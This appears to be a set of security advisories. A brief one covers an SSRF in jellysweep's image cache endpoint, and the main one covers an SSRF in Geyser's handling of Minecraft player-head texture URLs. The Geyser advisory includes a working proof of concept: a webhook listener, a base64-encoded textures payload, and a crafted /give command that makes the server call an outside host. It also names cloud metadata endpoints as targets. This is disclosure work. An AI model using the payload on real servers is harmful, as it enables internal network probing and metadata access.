The /api/images/cache which is used to download media posters from the server accepted an url parameter, which was directly passed to the cache package and that downloaded the poster from this URL.
This URL parameter can be used to make the jellysweep server download arbitrary content.
The API endpoint can only be used by authenticated users.
Patches
Fixed in v0.13.0. The affected (and now fixed) library was also moved to internal/ because it wasn't meant to be imported.

GHSA-XCFG-FCR5-GW9R
Vulnerability from github – Published: 2026-05-05 20:03 – Updated: 2026-05-13 14:19Summary
A server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data. By supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints. This occurs server-side, without proper URL validation, and can be triggered by a Bedrock client.
Details
Geyser allows Bedrock clients to interact with Java Edition mechanics, including the creation of custom player heads using the minecraft:profile NBT structure.
When a player head is created with a custom textures property, Geyser processes the Base64-encoded JSON value and forwards the embedded texture URL for resolution. However, the URL contained in the textures.SKIN.url field is not sufficiently validated.
PoC
- Setup Environment:
- Set up a Minecraft Server (Paper/Spigot) with the latest version of Geyser installed.
-
Ensure you have a Bedrock client connected.
-
Prepare Listener:
-
Go to webhook.site and obtain a unique URL (e.g.,
https://webhook.site/YOUR-UUID). -
Construct Payload:
- Create a JSON payload pointing to your listener URL:
{"textures":{"SKIN":{"url":"https://webhook.site/YOUR-UUID"}}} -
Encode this JSON string to Base64. (You can use a terminal command:
echo -n '{"textures":{"SKIN":{"url":"..."}}}' | base64) -
Execute Command:
-
Run the following command in the Bedrock Edition client:
/give @p minecraft:player_head[minecraft:profile={properties:[{name:"textures",value:"[PASTE_BASE64_HERE]"}]}] -
Verify:
- Check the webhook.site dashboard.
- You will see an HTTP GET request originating from the Minecraft Server's IP address, not the client's IP.
Impact
This vulnerability allows server-side request forgery (SSRF) from the Minecraft server to arbitrary HTTP endpoints.
Affected Parties
- Minecraft servers running Geyser
- Server operators exposing internal or cloud metadata endpoints
Potential Impacts
- Internal network probing (e.g., intranet services, admin panels)
- Cloud metadata access attempts (e.g., 169.254.169.254)
- IP address disclosure of the Minecraft server
- Abuse of the server as an HTTP request proxy
Although the vulnerability is blind SSRF (no response data returned to the attacker), it is still useful for: - Network mapping - Firewall bypass attempts - Cloud environment fingerprinting

CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.
